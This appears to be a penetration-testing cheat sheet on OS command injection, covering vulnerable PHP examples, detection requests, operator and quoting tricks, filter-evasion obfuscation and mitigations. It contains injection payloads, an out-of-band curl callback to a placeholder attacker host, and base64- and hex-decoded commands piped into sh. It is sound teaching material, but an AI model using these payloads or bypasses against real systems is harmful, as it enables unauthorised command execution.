PRIMARY CATEGORY → WEB ATTACKS

Theory

OS Command Injection occurs when attacker-controlled input is concatenated into a system command and interpreted as shell syntax.

Sample Code
if (isset($_GET['filename'])) {
    system('touch /tmp/' . $_GET['filename'] . '.pdf');
}

The intended command is:

touch /tmp/report.pdf

However, the following value introduces another command:

test.pdf;id;#

The shell receives:

touch /tmp/test.pdf;id;#.pdf

It executes touch, then id, while # comments out the suffix appended by the application.

The injected command runs with the permissions of the vulnerable application.


Detection

Always compare an unchanged control request with another request containing one modified value.

Control Request
curl --silent --location --request GET --get --data-urlencode 'filename=test' 'http://<TARGET>/upload.php'
Output-Based
curl --silent --location --request GET --get --data-urlencode 'filename=test.pdf;id;#' 'http://<TARGET>/upload.php'

Command output, operating-system errors or a meaningful response change may confirm the vulnerability.

Blind - Time-Based

When no output is returned, introduce a controlled delay:

curl --silent --location --request GET --output /dev/null --write-out '%{time_total}\n' --get --data-urlencode 'filename=test.pdf;sleep 5;#' 'http://<TARGET>/upload.php'

Repeat the control and delayed requests to discard normal latency variations.

Blind - OOB

Start an HTTP server:

python3 -m http.server <PORT>

Trigger a callback:

curl --silent --location --request GET --get --data-urlencode 'filename=test.pdf;curl -o /dev/null http://<ATTACKER_IP>:<PORT>/test;#' 'http://<TARGET>/upload.php'

Receiving /test confirms command execution and outbound connectivity.


Injection Operators

UNIX

Common Unix shell operators include:

;       # Execute the following command
\n      # Terminate the current command
&       # Run the preceding command asynchronously
|       # Pipe output into another command
&&      # Continue if the previous command succeeds
||      # Continue if the previous command fails
$()     # Execute a command and substitute its output

Backticks perform legacy command substitution:

`id`

$() and backticks are substitutions, not command separators.

Windows

CMD

On Windows CMD, the most relevant operators are:

&
&&
||
|

A semicolon is not normally a CMD separator. PowerShell uses ; and newlines, while && and || require PowerShell 7 or later.

Identify the operating system and command processor before selecting payload syntax.


Quoting Context

The payload depends on how the application surrounds the input.

Unquoted
127.0.0.1;id;#
Double Quoted

Unix shells still process command substitution inside double quotes:

$(id)
Single Quoted

Single quotes suppress expansions, so the quote must normally be terminated:

127.0.0.1';id;#

The exact payload depends on the prefix, suffix and quoting added by the application.


Command Injection in JSON

The input may originate from query parameters, form data, JSON, headers, filenames or stored database values.

$data = json_decode(file_get_contents('php://input'), true);
system('/usr/local/bin/package-manager install ' . $data['package']);
curl --silent --location --request POST --header 'Content-Type: application/json' --data '{"package":"demo;id;#"}' 'http://<TARGET>/api/packages/install'

JSON decoding occurs before the resulting value reaches the command sink.


Filter Evasion - Blacklist

Blacklist bypasses depend on the shell, quoting context, environment variables and decoding stages. They are not universal payloads.

Injection Operators

If operators are blocked, test which characters modify the response or execution time.

Place FUZZ at the suspected injection point inside a raw HTTP request:

ffuf -v -t <THREADS> -request <REQUEST_FILE> -request-proto <REQUEST_PROTOCOL> -w <WORDLIST> -fs '<FILTERED_SIZE>'

A different response identifies an interesting character but does not prove command execution by itself.

Blank Space

A URL-encoded horizontal tab may become a shell word separator:

%09

The default Unix shell IFS contains whitespace characters:

cat${IFS}/etc/hostname

Braces delimit the variable name. Without them, $IFShttp may be interpreted as a variable named IFShttp.

Bash brace expansion can also generate separate words:

{cat,/etc/hostname}

This is Bash-specific and may not work under /bin/sh or dash.

Resources

PayloadAllTheThings: Command Injection → Filter Bypasses

Slash
  • UNIX

Bash substring expansion can extract the first character of PATH:

${PATH:0:1}

This only returns / when PATH begins with /, making it environment-dependent.

  • Windows

CMD

%HOMEPATH:~0,1%

PS

$env:HOMEPATH[0]
Filtered Commands
  • UNIX

Unix shells concatenate quoted and unquoted fragments:

w'h'o'a'm'i
w\h\o\a\m\i
  • Windows

On CMD, command names are case-insensitive and the caret acts as an escape character:

wHoAmI
who^ami

$@ contains positional parameters. Although it may be empty, this is not guaranteed, so it is not a reliable universal bypass.


Advanced Command Obfuscation

Case Manipulation

Linux command names are normally case-sensitive. Bash can lowercase a value:

$(a=wHoAmI;printf '%s' "${a,,}")

${variable,,} is Bash-specific.

Reversed Commands

On Unix-like systems:

$(printf '%s' 'imaohw' | rev)

In PowerShell:

& (-join 'imaohw'[-1..-6])
Encoded Commands
  • Base64
printf '%s' 'aWQ=' | base64 -d | sh
  • Hexadecimal
printf '%s' '6964' | xxd -r -p | sh

Both values decode to id. They execute because the decoded content is passed into a second shell interpreter.

Generated Characters

Environment-variable substrings or tr can generate filtered characters:

printf ':' | tr '!-}' '"-~'

This produces ;, but the generated character does not automatically become a command separator.

The shell identifies operators before performing expansions. A generated separator requires a second parsing stage such as:

eval "$value"
sh -c "$value"
Resources

PayloadAllTheThings: Command Injection → Variable Expansion


Argument Injection

Command injection modifies the structure of the command line and executes additional commands.

Argument injection preserves the original executable but introduces unintended options or operands.

Webapp PHP Code

system('curl ' . escapeshellarg($_GET['url']));

escapeshellarg() prevents shell metacharacters from escaping the argument, but a value such as the following may still be interpreted as a curl option:

--help

Shell escaping must therefore be combined with validation of the argument’s expected meaning.


Mitigation

Avoid invoking operating-system commands whenever a native API exists.

When process execution is unavoidable:

  • Use a fixed executable.

  • Pass arguments as a structured array.

  • Apply strict allowlist validation.

  • Do not let users control command options.

  • Avoid eval, sh -c, bash -c and Invoke-Expression.

  • Run the application with minimal privileges.

  • Restrict unnecessary outbound connectivity.

$host = $_GET['host'] ?? '';
 
if (!filter_var($host, FILTER_VALIDATE_IP)) {
    http_response_code(400);
    exit('Invalid IP address');
}
 
proc_open(
    ['/usr/bin/ping', '-c', '1', $host],
    [
        1 => ['pipe', 'w'],
        2 => ['pipe', 'w']
    ],
    $pipes
);

Passing a structured argument array separates the executable from its arguments and prevents shell interpretation.


Resources

PayloadAllTheThings: Command Injection